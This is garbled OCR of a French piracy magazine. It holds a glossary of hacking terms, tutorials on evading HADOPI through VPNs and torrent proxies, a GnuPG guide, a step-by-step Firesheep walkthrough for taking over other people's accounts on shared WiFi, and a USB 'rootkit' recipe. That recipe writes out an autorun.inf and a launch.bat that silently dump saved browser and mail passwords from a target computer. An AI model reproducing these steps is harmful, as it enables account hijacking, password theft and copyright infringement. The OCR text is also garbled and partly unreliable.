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Terme désignant des applications piratées, wient
de 1'association entre «applications et owarezs, il
existe aussi «gamezw, wisozrw, wromze, «serialze, ekc.

11 5'agit d'une sauvegarde d'un systéme, d'un
pan entier d'un ordinateur ou de données specifiques gque
1'on met & 1'abri pour éviter de les perdre.

Methode consistant & essayer tous les
mots de passe jusqu'a tomber sur le bon. C'est un
logiciel {cracker) qui va faire le sale boulot pour
1'utilisateur.

Dans le petit monde des hackers, le coder est
en charge de la prograsmation (codel. Il peut casser des
protections, créer des legiciels, des intros, démos,
ete.

Petit programme qui permet de se passer de la
phase d'enregistrement du produit pour éviter de passer
d la caisse. Il s'agit généralement d'un fichier EXE que
1'on doit substituer & un 1'EXE wofficiels.

L'est un pirate qui deétruit pour le plaisir.
Il utilise des wirus pour immobiliser sa cible et il
efface, casse ol rend inopérant. Personnage trés mal wu
dans le milieu.

11 s'agit d'un verrou numérigue appliqué sur
un fichier musical, vidéo ou un ebook qui restreint
1'utilisation pour éviter le piratage.

11 s'agit de modifier un fichier multimédia
brut afin de le réduire (Divi) ou de le rendre lisible
sur un autre support (MPY, 3GP, etc.)

Un exploit est un élément de programme
permettant & un individu ou un logiciel malveillant
d exploiter une faille de sécurité dans un 05, un
logiciel ouw un jeu.

C'est un fichier, prét a Btre grave,
qui contient toutes sortes d'informations destinées a
gtre sauvegardé. Windows ne peut pas lire ce type de
fichier en 1'état mais des logiciels comme Daemen Tools
ou Alcool 100% 1°autorisent.

Littéralement «brassé i 1z maison», i1 5" agit en fait
d'un programme (1a plupart du temps, des jEJI} afait a
la maison» avec ou sans autorisation des ayants droit.
Il existe par exemple de nombreux jeux homebrew sur Wii,
Gamé Boy Advence, PSP, etc.

Opération qui consiste 3 trafigquer le
systéme d'exploitation d'un appareil pour avoir accés
& des paramétrages inédits. Le jailbreak de 1'iPhone
permet par exemple de modifier le Ehéme ou d'installer
des applications non signées.

Mot-valise pour «key» et «generator». ('est
un programme qui va générer une clé d'activation vallide
pour un logiciel donné. Genéralement réalisé par
un coder qui aura utilisé une technique de areverse
engineerings.

Prograsme permettant discrétement
d enregistrer les frappes au clavier en wue
d'espionner ou de subtiliser des mats -
de passe. N

Technique consistant & bombarder d’email
le serveur d'un wtilisateur ou d une entreprise pour le
faire saturer.

Qu «serveur mandataire» en frangais. C'est un
serveur qui fait tampon entre un wtilisateur et un réseau
(le plus souvent Internet). Fréguemment utilisé pour
passer inapergu sur le Het ou pour éviter de woir son
adresse écrit «en clairs.

Procédé qui consiste 3 capturer le flux audio
et vidéo des supports disque (DVD, Blu-ray). Une fois
extrait le fichier «rippé», brut, est prét a étre encodé.

Les rogues sont de faux antivirus qui vous font
croire & une contamination dans le but de vous escroquer.

Il sagit d'un algorithme de cryptographie
asymétrique inventé par Rivest, Shamir et Adleman. Trés
utilisé dans le commerce électronique ou les échanges
de données confidentielles, cet algorithme est basé sur
1'utilisation d'une publique pour chiffrer et d'une clé
privée pour déchiffrer.

Ine seedbox est un serveur distant qui va
télécharger & votre place des données sur le réseau PZP
pour ensuite wous le délivrer via le classique (et nan
surveillé) protocole HTTP.

C'est un pirate qui wtilise des
logiciels de piratage sans vraiment en connaitre le
fonctionnement pour se faire mousser ou réaliser des
méfaits

Il s'agit d'un code d'activation pour un
logiciel ou un jeu qui a été généré par un keygen ou qui
a ete vole.

Il 5'agit d'une technique qui permet
de prendre possession d'un compte conjointement
avec 1'utilisateur leqitime.

Le stream est une technique qui consiste
4 diffuser de 1'auwdio ou de la vidéo @ partir d’une
simple page Internet. Il n'est donc pas nécessaire
de télécharger quoigue ce soit, la lecture
ge faisant au fur et 5 mesure que les données
arrivent.

Virtual Private Network ou réseau privé
virtuel. Il s'agit d'une connexion sécurisée entre
ordinateur via Internet. Le but est de recréer en
ligne le méme foncfionnement qu'un réseau local.
Chiffré, personne ne peut savoir ce qui passe par
les postes des uwtilizateurs connectés.

(e terme désigne des contenus numérigues
protégés par copyright diffusé illégalement. De
maniére générale, la diffusion de contenus
numériques affichant le terme ware:z
a une connotation de pratique
illégale.
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HADOPI menace :

N\

Nombreux sont les Internautes
qui souhaitent protéger leur
vie privée et par la méme
occasion, leurs échanges de
fichiers. Parmi les solutions
permettant de devenir anonyme
sur la Toile, il existe les VPN.
Sorte de proxy de seconde
generation, ces réseaux privés
virtuels deviennent peu a peu
les chouchous des P2Pistes.
Voyons ce que propose cette
technologie et comment y
accéder...

Quels 0S ?

Le tutoriel que nous vous proposons est
valable pour Windows Vista mais IPjetable
fonctionne aussi trés bien avec Windows
XP. Windows T, Mac0S X, la distribution
Linux Ubuntu, et méme les iPhone 3 et

4 !'Vous trouverez les tutoriels pour vous
connecter au VPN depuis votre appareil

a cette adresse : http://ipjetable.net/
aidefag.php

L "y

s ™)

Attention !

Certains modem-cable ou box

{comme celle de Numericable, par
exemple) bloguent les VPN, Suiver les
instructions au dos de votre matériel
pour vous connecter sur l'interface
d'administration de celui-ci. En général,
il suffit de rentrer une adresse du type
shttp:/ /192.168.0.1- dans votre
navigateur, Il faudra ensuite trouver une
case & cocher («WPN passthroughs ou
«PPTP passthroughs) puis valider avant
de redémarmer votre modem.

L )

o Metwork) permet de recréer
= enligne via Internet, le méme
WY fonctionnement qu'un réseau
local (o0 au moins deux ordinateurs sont
reliés physiquement avec des cables
réseau).
Pour profiter de cette technologie, il suffit
de s'abonner a un service spécial donnant
I'accés au réseau (voir notre pas a pas).
Une fois que votre connexion a Internet
passe par ce VPN, tous vos échanges de
données sont cryptés et, avec certains
services, vous disposez méme d'une nou-
velle IR Il est donc possible de télécharger
via BitTorrent ou eMule sans craindre les
foudres d'HADOFPI puisque personne ne
peut savoir ce gu'un internaute fait au
sein du réseauw.

Ipodah est mort, vive IPjetable
Parmi les VPN qui fleurissent sur la Toile,
nous avons teste IPjetable (ancienne-

PRATIQUE

1

Allez sur le site de Check my Torrent IP et
cliquez sur le bouton Generate Tracking
Torrent. Vous téléchargerez alors un Torrent
test qui va indiquer au site votre IP toutes
les 60 secondes.

ment Ipadah) car il permet de l'essayer
pendant deux jours sans méme sortir
voltre carte bleue ! Si vous &tes satisfait
du résultat, il suffira de vous abonner
pour 15 €/mois. Créé en mai 2009 au
moment ol la loi HADOPI était débattue
a I'Assemblée Nationale, IPjetable utilise
le protocole PPTP pour ses échanges

et vous fournit une adresse IP au Pays-
Bas. Comme cette derniére est situde &
I'stranger, elle n'existe tout simplement
pas pour les robots qui surveillent le
Met... Il n'y a rien a installer puisque Win-
dows fournit le client PPTP. En plus de ce
changement d'IP, la communication est
chiffrée entre I'utilisateur et la plateforme
d'IPjetable [qui ne garde aucun journal
de connexion). Nous insistons bien sur

le fait qu'avec ce type de service, ce sont
bien tout les types d'échange qui sont
cryptés et pas seulement le surf comme
c'est le cas avec les «sites écrans» ([comme
www.youhide.com, par exemple).

Gcheck my Torrent [P s - etpur r o

| Generate Torrent| ="
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Pour recevoir vos identifiants, allez sur la
page Intermet d’IFjetable puis cliquez sur
Inscription. Cliquez sur le lien gue vous
recevirer pour activer votré compte. Ensuite,

sous Vista, allez dans le menu Démarrer

puis Connexion et enfin sur Configurer une
connexion ou un réseau. Sélectionnez Con-
nexion & votre espace de travall et cliguez
sur Suivant.

A la question “Voulez-vous utiliser une con-
nexion déja existante 7°, sélectionnez Non,

2

Placer ce Torent dans votre client habituel (ici uToment) et
démarrez le téléchargement. Au bout d'une minute, cliguez sur
Refresh en bas de la page Check my Toment IP pour voir les
informations gue le site a en sa possession.

» Vous connecter a IPjetable

créer une nouvelle connexion puis validez.
Choisissezr ensuite Utiliser ma connexion
Internet (VPN) et rentrez pptp.ipjetable.
net dans le champ Adresse Internet. En ce
qQui conceme |& nom de la connexion, tapez
IPjetable.

Aprés avoir validé, on vous demandera de
taper votre nom d’utilisateur et le mot de
passe que vous avez recu par e-mail. Pour
plus de facilité, cochez la case Mémoriser

T v s mpnn drsss

double-cliquer sur les icomes en forme
d'écran en bas a droite de votre bureau (prés
de I'norloge) puis de sélectionner IPjetable.
Pour vous reconnecter, cliguez sur le menu
Démarrer, Connexion et choisissez IPjetable
dans Acces a distance et VPN (menu dérou-
lant Afficher). Si vous voulez vérfier que
vous Btes protége, il suffit d'aller faire un tour
sur la page Internet d1Pjetable ob un mes.
Sage rassurant devrait e affiché. Vous pou-
ve? aussi vous rendre & cette adresse (www,
men-ip.com) pour constater que la machine
vous situe bien au Pays-Bas !

ce mot de passe puis cliguez sur Connecter.
Une fois la connexion établie, Windows vous
demandera de définir 'emplacement du
réseau IPjetable, Sélectionnez Lieu public
pour une sécurté plus solide.

NOLVEelle I 1
T L WS

ecter, lorsque vous ne
téléchargez plus par exemple, il sufiit de

3

Il est bien siir possi-
ble d'avoir plusieurs
entrées si vous déci-
dez de voir ce qui se
passe lorsgue wvous
activez/ désactivez vo-
tre protection. Sur no-
tre photo ci contre, on
peut voir deux |P diffé-
rentes qui sont enre-
gistrées a partir d'un
seul ordinateur a deux
moments différents,

(EURELRETRT A —
it En e I dyrarrager detecie

Infirs rrasbaoen rwievian Lo H 08 MITE B L

Foeer Sécgrapiige : Forcps
Pays o Crose e - M TeE R ANDS =
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4 CE QU'IL VOUS FAUT
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! http:/ fipjetable.net

v .:.l. rant 1B

mytorrentip.com

2 http:// check

DiFFicuLTE 22 2

BEEBE BB




Ge.tt, I'alternative

Ge.tt convient & plusieurs types d'utilisa-

% qui veulent

5 5aNs les parti
tionner. Ce service permet de mettre en
partage un fichier d'un simple clic et ce,
sans limite de taille. Il Suffit de choisir
son fichier, de cliquer pour l'emvoyer vers
les serveurs de Ge.tt et e site générera
une URL valable 30 jours. Celle-ci peut
Etre envoyeée vers vot
votre compte Twitter ou votre e-mail.
@ http://ge.tt o
T Ly

4 CE QU'ILVOUS FAUT

(Erat

http:/ /hostO1.pipebytes.com

uic)

DiFFicuLTE eeo

PRATIQUE

1

Sur la page principale du site dans la parie
Send, cliguez sur Parcourir pour trouver le
fichier que vous voulez ervoyer. Ajouter quel-
ques mots pour le décrire dans Message et

|

[ =]

sélectionnez d'envoyer une URL (le correspon-
dant n'aura qu'a cliguer dessus) ou un code
(il faudra que votre ami se rende sur la page
de PipeBytes). Cliquez enfin sur le bouton
Send File.

. transfert
sécurisé

Les sites qui proposent de partager des fichiers sur un serveur distant ne
manquent pas sur la Toile. PipeBytes innove pourtant puisqu'avec ce service
gratuit les fichiers peuvent étre téléchargeés pendant qu'ils sont envoyés : le
serveur fait ici office de tampon et comme la connexion est cryptée, personne ne
sait ce que vous faites ou transférez. Explications...

ipeBytes permet de mettre
| en relation deux personnes
~ afin d'autoriser un transfert
de fichier. Non seulement le
systéme ne requiert pas dinscription
mais il ne requiert pas d'upload en
tant que tel. Vous n'envoyez que les
informations concernant le fichier et
son emplacement. Aprés avoir choisi
votre fichier, PipeBytes génére un lien
{ou un code a saisir sur la page du
service) que votre correspondant
utilisera pour récupérer le fichier
directement sur votre ordinateur. Bien
sur, il n’a pas de limite de taille et cela
fonctionne avec tous les navigateurs :

2

Sur cette nouvelle page, vous verrez le
lien ou le code & envoyer a votre ami (par

e-maill ou mieux, par messagere instan-
tanée) : hitp://host01.pipe com
get.php?hey=101100194553867. Waiting
for recipient signifie gue le senvice attend
gue votre comespondant se manifeste. En

Internet Explorer, Firefox, Opera et
Safari. Cerise sur le gateau, le transfert
est crypte avec la norme S50 {celle qui
sécurise les données bancaires).
Personne ne peut donc savoir ce qui
transite entre vous et votre correspon-
dant. Il est aussi possible d'ajouter un
Widget sur votre blog ou site pour
permettre a vos visiteurs de s'échan-
ger des fichiers en toute transparence
et gratuitement. Seuls points noirs : on
ne peut partager qu'avec une seule
personne & la fois et si vous quittez la
page de PipeBytes pendant un
transfert, le téléchargement de votre
ami sera interrompu.

cliguant sur le lien, ce demier va alors initia-
liser le transfert. Vieillez & rester connecter au
site durant le processus.

3

Sur la page principale, cliguez sur le mot
Widget dans la liste des fonctionnalités. Choi-
sissez Basic Widget (3 moins de savair ce que
vous faites en choisissant 'option Custom)
et copier-coller le code généré dans le code
HTML de votre site ou blog. | n'y a rien de plus
simple ! Maintenant, vos visiteurs pourront uti-
liser ce service de volre page.

ot g el e
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PGP, un symbole

Pour ce faire, nous vous proposons
d'utiliser le trio Thunderbird{le'client
e-mail), Enigmail (un simple plugin)

et GnuPG. Ce dernier est une version
libre du célébre logiciel de chiffrement
et de signature PGP, Utilisant une




cryptographie asymétrique, ce logiciel
a beaucoup fait parler de lui dans les
années 90 puisque Phil Zimmerman,
son créateur, a été poursuivi au Etats-
Unis pour avoir violé le Arms Export
Control Act. Il faut dire gu'outre-
Atlantique, les logiciels de chiffrement
offrant un algorithme trop puissant

Vo | ——> (vt

sont considérés comme... des armes. A Anatole a créé ses deux clés, 'une

Racheté par Symantec, PGP nest publigue et I'autre privée, Il envole

malheureusement plus gratuit, nous la premiére 4 Benjamin et garde bien A\ Pour enveyer un message a Anatole, Benjamin va le chiffrer
avons donc choisi de vous proposer précieusement la deuxiéme en utilisant sa clé privée et la clé publique d'Anatole (pour

GnuPG,

E¥ vinstaliation

Commences par installer le logiciel Thunderird puis sur la pags de télécharge-
ment d'Enigmail, choisissez 1a version qui convient en fonction de volre systéme
d'euploitation et du logiciel de messagerie (ici Thunderbird 2.0). Dans le client,
allez dans le menu Outils>Modules complémentaires puis cliquez sur Installer...
Cherchez le fichier JXPI d'Enigmail. Thunderbird dewrait vous demander de redé-
marrer, Profiter de cette pause pour installer GnuPG (sans changer le répertoire
de destination).

[nstallation de logicie!

Vous svel demande & imstaller élément svant @

enigmail-0.96.0-tb+ 4m-win
o depuis:  file/ 0 Users IDPRESSE Deshtep/enign

Man 5i i

Cartaans logiciels maboeillants pauvent endemimages votre
ardinateur gy wvigher vatre vig privie
I est vivement conseillé de n'installer des logiciels qu'a

que seul ce dernier puisse le lire). Pour le déchifirer, Anatole
utilisera sa clé privée.

[ > OpenPGP dans Thunderbird

H L'Assistant

Vous avez maintenant un menu OpenPGP  dans Thunderbird. Faites
OpenPGP>Praférences pour obtenir 'assistant. lei vous deveez choisir de confi-
gurer OpenPGP pour toutes les identités ou de les sélectionner & la main. Ensuite,
choisissez ou non de signer vos messages. Il s'agit en fait de signer numérigue-
ment vos e-mails pour que vos comespondants aient la possibilité de savair s'ils
viennent bien de vous (si votre ami dispose d'un client compatible QpenPGF ou
PGP).\ous pouvez bien siir choisir des régles pour que certains destinataires recoi-
vent des mails signés et d'autres non. Ensuite, |'assistant va vous demander si
vous voulez chiffrer vos messages par défaut ou pas. A moins d'étre absolument
siir que tous vos amis aient un client compatible avec PGP, nous vous conseillons
de choisir la deuxigme option. Lorsqu'Enigmail vous demandera enfin si le logiciel
peut changer quelques parametres de messagerie, dites Oul.

B Les clés

Il est ternps de créer votre paire de clés. Choisissez votre compte email dans la
liste déroulante puis tapez deux fois une <phrase secrétes. Notez que ces clés
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Double clés ?

La Cryptographie asymeétrique se
base sur I'utilisation de deux «cléss,
Ces derniéres ne sont que des suites
de nombres et de chiffres permettant
de chiffrer et déchiffrer les messages.
Les messages chiffrés sont illisibles

et ressemblent aussi a des suites
désardonnées de caractéres. On peut
comparer le fonctionnement asymé-
trique a une sorte de coffre-fort. A
envoie un coffre-fort a B pour qu'il
puisse y mettre une lettre. B dépose

la lettre et ferme le coffre (sans

avoir besoin de clg). Seul A pourra
ouvrir le coffre. Ici le coffre cest la

clé publigue, celle que vous devrez
envoyer a tous vos destinataires... Un
message chiffré avec une clef privée
ne peut étre déchiffré qu'avec la clef
publique du couple, et vice-versa.

Il est bien sOr impossible & partir

de la clef publique de retrouver la
clef privée. Avec ce systéme, il est
extrémement complexe de parvenir a
briser le chiffrement,

4 CE QU'IL VOUS FAUT

= Mozilla Thunderbird
) www.mozillamessaging.com/ fr/
" thunderbird/
> Enigmail
&) http://enigmail. mozdev.org/
" download,/index.php.html
> GnuPG
& ftp://ttp.gnupg.org/ gerypt, binary/
" gnupg-w32cli-1.4.9.axe
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2048 bits sont valables 5 ans. Une fois vos clés créges, le logiciel vous demande
5i vous désirez créer un certificat de révocation au cas ol vos clés privées soient
exposées. Attention, ce certificat doit 8tre mis en lieu sir car si quelqu'un le
trouve, il peut révoquer votre clé privée...

Une fois l'agsistant fermé, c'est enfin l2 page des Préférences qui va <'afficher,
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Codation e chel
etry chef asd o Do

ark 2e rond igurasen CloenPgP

e (TR

Cangoly f pradrahon it Cheh
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Euitez le mode Expert dans un premier temps (fen ne vous Empéche I:I y jeter
un coup d'eeil) mais vérifier bien qu'Enigmail a trouvé I'emplacement de GnuPG
puis cliquez sur Ok,

% Envoyer sa clé publique

Il est ensuite temps d'envoyer votre clé publique aux desnnalmres pussedant
aussi PGR. Allez dans OpenPGP>Gestions de clefs puis cochez a case Afficher
toutes les clefs par défaut. Faites un clic droit dans la ligne qui vient de §'af-
ficher et choisissez denvoyer votre clé publique par email ou placer 14 dans le

presse-paplers (copier) pour ensuite la «collers dans un logiciel de messagerie
instantanée ou autre. Vious pouve? aussi faire Ecrire>OpenPGP>Attacher ma
clé publigue.

Q!n Votre trousseau

otre mrraspnndanl et vous devrez suivre la méme pmwdu:e pour importer vos
cl8s publiques respectives. Selectionnez et ouvrez l& message compranant la clé
publique de wotre comespondant. Cliquez ensvite sur Déchiffrer. Le logiciel va
alors détacler la clé pumuque et wous pmpucsera de ' |mpurtera votre troussean.

Sachez que pour &tre sir que la clé vous a bien été emlnree par la personng
que vous croyez, il est possible de |a signer. Signer une clé publique est un bon
moyen de la faire valider.

"'“’|
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Lorsque votre corespondant et vous aurez réussi & |mpurter et valider vos
clés publiques respectives, il est temps de passer a l'action. Pour chiffrer un
message, cliquez sur fe bouton Ecrire pour rédiger un nouveay message puis
sur l'icane OpenPGP pour afficher la fenéire de Chiffrement OpenPGP. Cocher
2 case Chiffrer le message (il est aussi possible de signer le message mais ce
n'est pas obligatoire) et cliquez sur OK. Il ne vous reste plus qu'a 'envoyer et &
taper votre phrase secréte pour qu'Enigmail crypte votre message. Pour décryp-
ter un message entrant, il suffit de I'ouvrir et de saisir votre phrase secrite,

e et
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TORRIFIC

Il telecharge pour vous

Une solution alternative
bluffante pour garantir

son anonymat et

tellement simple :

le service en ligne

Torrific télécharge pour ——
vous ! Basé a I'étranger,
c’est son sen

ne page d'accueil minimaliste,
un peu sur le modele de

. Google : aucun logiciel & installer,

tout se fait en ligne. Vous copier

|E hen. du fichier Torrent qui vous intéresse
dans l'espace de recherche et Torrific se
charge de le rapatrier pour vous. C'est lui
qui se connecte au réseau, votre adresse
IP n'est jamais visible car lorsque vous

-
| = LCH LR
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récupérez ce méme fichier sur votre disque
dur, c'est depuis les serveurs de Torrific, en
téléchargement direct ! Pas de probléme
avec HADOPI donc.

Nous ne savons pas comment Torrific finance
ses serveurs (ol sont hébergés tous les
torrents téléchargés par les utilisateurs),
peut-étre grace au service Premium
qu'il propose pour 10 5 et qui est censé
augmenter la qualité du service (vitesse
| de téléechargement accrue). Mais pour
| avoir testé sa version gratuite, qui
| donne entiére satisfaction, nous n'en
_ | voyons pas l'intérét,

Telechargez via Torrific

ses serveurs. Quand il aura terming, il vous
préviendra par mail. Vous n'aurez alors plus

Ici, nous avons par exemple cligué sur le
premier lien proposé (Isohunt). Cette fois-ci,

Tomrific est gratuit mais vous devez vous enreg-
istrer en ligne. C'est sur votre email que vous
serez prévenu de la fin d'un téléchargement.

En vous rendant sur vos sites de télécharge-
ment favoris, trouvez le torrent de vos réves
puis faites un clic droit sur le lien de té-
léchargement. Choisissez Copier |'adresse
du lien. Collez ensuite ce lien sur Torrific et
cliqguez sur Get. Le service vous permet de
verifier ce qui sera récupéré tout en lancant
en paraligle le téléchargement de ce lien sur

e T CAPTARN
7 mt‘l:l—‘

- = N ——
|

| Downkoad | |

| By Far vl dmare

L T T T Il T Tr P ———

| -

qu'a le rapatrier sur votre ordinateur en té- ——
léchargement direct | r
| —

Torrific nous prévient que ce fichier est déja
| i présentsurleurserveur(uninternaute I'a déja
téléchargé avant vous). Vous n'avez méme
pas besoin d’attendre : vous pouvez lancer
le téléchargement direct immédiatement en
cliquant sur le fichier |

Pour les plus fainéants, recherchez vos
torrents depuis Torrific ! Tapez dans I'espace
de recherche le nom du fichier souhaité et
le service vous propose tous les résultats
trouvés sur Google et qui ne concernent
que des liens Torrents. Votre navigation est
masquée car vous passez par le Proxy de | [ Sk
Torrific. Vous pouvez méme surfer sur vos

-0, 0o - UG oy

. TETTE T

Termpm reakant : 20 minufes — A0 4 s 0 Mo (47 o)

sites préférés en utilisant ce proxy,
| = *-‘r CE QU'IL VOUS FAUT
a0 e | Tl"f"t{“t]
FERE ) www.torrific.com
DiFricutte 2 2




LE 1** MAGAZINE BITTORRENT

A LE GUIDE ! L5 mejijpyrs

°\ astuces poyr doper pTorrent

N SELECTION : Les ey |
logiciels Pour aller plys loin

\ N BESTOFSiTEs.
= Trouver les meitleursﬁfichiers

H N NOuvEAy : BitTorrent 1099,
|

anonyme et 10 plus rapide ! _ i

L’avenir du numerique chez votre
marchand de journaux




Firesheep, un nouveau plugin
pour Firefox, a beaucoup fait
parler de lui le mois dernier. Il
s'agit d’un programme qui ouvre
sur votre PC tout compte Face-
book, Twitter, Windows Live, etc.
a condition que le propriétaire
de ce dernier soit connecté au
méme acces Internet que vous (a
la maison, au bureau, etc.)

'8 ™

Pas un outil destiné
a pirater...

Attention, seuls les mots de passe que
vous avez choisi d'enregistrer sur votre or-
dinateur seront restorables (généralement
en cochant la case «Se souvenir de mois
au <58 souvenir de mes identifiantss). Pour
Eviter de se faire piéger par des pirates

& la petite semaing, SOUVENEZ-VOUS VOUS-
méme de vos identifiants |

¢ "

Un piratage «light»

Ce procédé ne permet pas de voler des
mats de passe, il fait juste croire au site
que le mot de passe a déja &8 tapé
préalablement. Il n'est pas non plus pos-
sible de s'accaparer un comple puisque
pour un changement du mot de passe, la
plupart des sites disposent de protections
permettant de se mettre & 'abri (retape
du mot de passe pour la saisie du nou-
veau, L'utilisateur rentre simplement dans
le compte qu'il cible comme 57l &tait

son proprigtaire, Attention cependant au

piratage de volre messagerie qui pourrait
s'avérer dévastateur...

\ "

=

Encore plus
dangereux !

Fireshesp ne permet pas de pirater une
connexion WiFi, il autorise simplement la
récupération de données sur un réseau
ouvert, Rien n'empéche cependant les
individus malintentionnés de pirater un
réseau WiFi pour ensuite se senir de
Firesheep. Un petit malin & lextérieur de
chez vous (ou dans I'appartement d"a
cité) pourra alors tranquillement usurper
votre identité... Protégez volre réseau sans

fil avec une cle WPA-Il -l

Firesheep pirate

un compte...
sans les identifiants

éveloppé par Eric Butler et
présenté lors d'une grande
conférence sur le hacking a
5an Diego, Firesheep a fait
l'effet d'une bombe lors de sa mise a
disposition sur Internet. Ce asniffers va
en fait capturer a la volée les cookies
de connexion d'autres utilisateurs
connectés au méme point d'accés
WiFi. 5l est mal sécurisé ou s'il s'agit
d’'un réseau d'entreprises, d'un hotspot
ouvert ou d'un réseau familial, la péche
peut s'avérer trés fructueuse ! Sans
aucune réelle intervention ou connais-
sance en hacking, l'utilisateur peut alors
€ retrouver avec un accés au compte
de toutes les personnes connectées au
méme réseau Internet que lui et ayant
ouvert une cession Amazon, Google,
Windows Live, Facebook, Twitter, Flickr,
Wordpress, Yahoo, etc. Il lui suffit alors
de cliquer dessus pour se retrouver
connects lui aussi sur ce compte !
Prendre possession d'un compte, d’'un

site ou usurper une identité devient
alors un jeu d'enfant pour des millions
de «script kiddies» en manque de
sensations. Cela peut aussi étre utile
pour des raisons beaucoup plus loua-
bles et légales.

Se protéeger !

Pour se protéger, il faut éviter les points
d'accés WiFi ouverts et sécuriser son
accés a la maison {en mettant une clé
WPA-Il au lieu des cles WEP crackable
en un tour de main). Mais le probléme
vient aussi des sites. Tant qu'ils

n‘auront pas changé leur maniére de
communigquer avec leurs utilisateurs, il
faudra passer par des outils permettant
d'utiliser en permanencele cryptage
55L ([comme HTTPS-Everywhere et
Force-TLS, des extensions Firefox qui
permettent un cryptage de toutes les
donnees qui transitent entre un site et
votre PC). C'est encore a l'utilisateur de
s'y coller...



E} vinstaliation

Avant d'entrer dans le vif du sujet, il va falloir ins-
taller le logiciel WinPcap. Ce demier analyse le

trafic de données entre les dispositifs de réseau.

Firesheep va simplement l'utiliser pour fonction-
ner correctement. Rendez-vous ensuite sur le
site d'Eric Butler pour télécharger Firesheep. Il
s'agit d'un fichier au format XP1 qu'il faudra juste

e —— ]
N i=risley qua cm medulen corplimenasires doat b
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glisser-déplacer avec la souris dans n'importe
qguelle fenétre de Firefox pour qu'il s'installe. Re-
démarrez Firefox en cliquant sur le bouton...

K1 Afficher

Pour afficher le module de Firesheep, faites
Affichage > Panneau latéral > Firesheep. Vous
verez alors l'interface trés simple de ce plugin. Il
suffit de cliquer sur Start Capturing pour qu'en
quelgues secondes des comptes apparaissent
sur lg cté de votre fenitre. |l peut s'agir de n'im-
porte quel compte appartenant & un utilisateur
de votre réseau sans fil (ouvert, public, familial,
mal protégé, et.). i cela ne fanctionne pas, cli-
guez sur I'engrenage en bas & gauche, allez sur

HACKING
» PIRATAGE

[
1

[ ] | |
Firesheep
—

Start Capturing
o Olsana Bailleul
Facebook
Mame Value B
siteMamie  Facebook -
sitelrl
sitelcon
4 sessionld
b1
c_user -
sid
afirstPacket
from

ta
method
path
Jquu‘:lr
higst
acookies
datr .
lu
locale

Préférences et dans I'onglet Capture essayer la
méthode Microsoft (au liew de MS Tunnel Inter-
face Driver).

> Comment ca marche ?

Lorsque vous vous “loguez” a un site en entrant nom d'utilisateur et mot de passe, le serveur vérifie si un compte
correspondant existe et place un =cookie« (un petit fichier qui contient vos identifiants) sur votre ordinateur pour ne
pas avoir & vous réidentifier pour toutes les autres requétes suivantes. La plupart des sites protégent votre mot de
passe en cryptant votre identification initiale mais il est plus rare qu'ils cryptent autre chose. Si un tiers récupére

H Test compte complice

Il suffit juste de cliquer sur l'icdne correspondant
au compte cible (vous pourrez parfois voir son
avatar ou son identifiant pour le repérer plus
facilement). Ca y est, vous avez tout les droits

s
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ou presque sur le compte de votre cible. Ce
subterfuge est limité car vous ne pouvez pas
voler le compte (interdire 'accés au détenteur)
mais la plupart du temps cela fonctionne assez
longtemps paur faire une ou deux blagues...

¥ CE QU'IL VOUS FAUT

= Firesheep
gg hitp:/ / codebutler.github.com/
"7 firesheep

> WinPcap
2 www.winpcap.org

DirFicuLTE 22 @

ce cookie, il détourne la session HTTP et devient alors légitime pour le site : & lui I'envoi d'email, la récupération

d'infermation ou le piratage de votre site...

C’est ce qu'on appelle le ssidejackings. Et sur un réseau sans fil mal

Securisé (ou pas sécurisé du tout comme le hotspot d'un hétel ou chez MacDo), il suffit de les intercepter a la
volée... Bien sdr certains sites cryptent aussi les cookies ou les font périmer au bout d'une période d'inactivité
mais devant la quantité d'utilisateurs, de sites mal pmtégés et de réseaux sans fil, un contrevenant aura vite fait

de faire un malheur s'il le désire...
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Confectionnez-vous

UN ASPIRATEUR

Plus de mémoire !

Attention, seuls les mots de passe
que vous avez choisi d'enregistrer
sur votre ordinateur seront resto-
rables (généralement en cochant
la case «Se souvenir de moie ou
«Se souvenir de mes identifiantss).
Pour éviter de se faire piéger par
des pirates a la petite semaine,
SOUVENEZ-YOUS vous-méme de vos

identifiants ! ;

R

Message inutile

Si lors de linsertion de la clé USB,
le PC cible vous demande de
choisir le logiciel pour ouvrir tel ou
tel fichier, ne prenez pas en compte
cette fenétre, Allez directement dans
la racine de la clé et double cliquez
sur launch, bat... ..

T TP

s

maginez une clé
USB quiil suffirait
de brancher sur un
ordinateur pour
récupérer instantanément plus de

90% des mots de passes enregistrés

a l'intérieur. Non il ne s'agit pas du
dernier gadget de James Bond ou de
Jack Bauer mais du rootkit gque sera
bientdt le votre ! Les services en ligne
et autres logiciels ont la sale manie de
demander a l'utilisateur si ce dernier
souhaite que ses identifiants restent
dans la mémoire de l'ordinateur. La
plupart des gens cochent la case oui
sans savoir que cette erreur peut-étre
fatale. En effet, aprés un probléme

sur votre PC (contamination, etc.),

vous vous retrouvez parfois sans la
possibilité de retrouver ces mots de
passe que vous avez oublié depuis
belle lurette (forcement, si vous ne les
tapez pas tous les jours...). Vous devez
donc rouvrir un compte et perdre un
termps fou a retrouver vos amis (dans le
cas d'MSN) ou de perdre une quantité

DE MOTS
%3 DE PASSE !

L'astuce que nous allons vous dévoiler n’est pas a mettre

en toutes les mains ! Nous allons en effet vous expliquer
comment réaliser un rootkit permettant de récupérer tous les
mots de passe d'un ordinateur. Inutile de voir le mal partout,
vous pouvez trés bien vous servir de ce rootkit pour aider un
ami ou une vieille tante qui a oublié ses identifiants ou tout
simplement tester la sécurité de votre PC...

,

de message
(client mail e N

par exemple). Avec n,
notre rootkit stocké sur clé -
USB, vous pouvez méme faire

du dépannage a domicile et épater
la galerie en retrouvant les mots de
passe que vos amis ont bétement
oubliés. Vous pourrez donc retrouver
les mots de passe de MSN, d'Outlook,
Thunderbird et tous les mots de passe
qui ont transité par Internet Explorer,
Firefox et Google Chrome. De méme,
vous retrouverez sans probléme vos
mots de passe réseau et WiFi.



SELECTION LOGICIELS

n Les logiciels

Créer un nouveau dossier sur woltre bureau et
téléchargez tous les logiciels qui figurent dans

I'encadré. Décompressez les fichiers ZIP et ne gardez
e les fichiers EXE. Copiez ensuite tous les fichiers
ans votre clé USB, directement en racine (ne pas les
mettre dans un dossier 3 part).

B Le fichier «Autorun.

Owrer  le  blocnote  de  Windows  (clic
doit>Nouveau>Document fexte) ct copier ce qui
it :

[autorun]

open = launch.bat

ACTION = Scan Passwords

Enregistrez le fichier sous la racine de la clé en le
nommant autoran.inf

B Le fichier <Launch»

Cuvrer un autre fichier texte et recopier ce qui suit :
start ChromePass.exe /stext ChromePass.txt
start iepv.exe /stext igpy.bt

start mailpv.exe /stext mailpy.tot

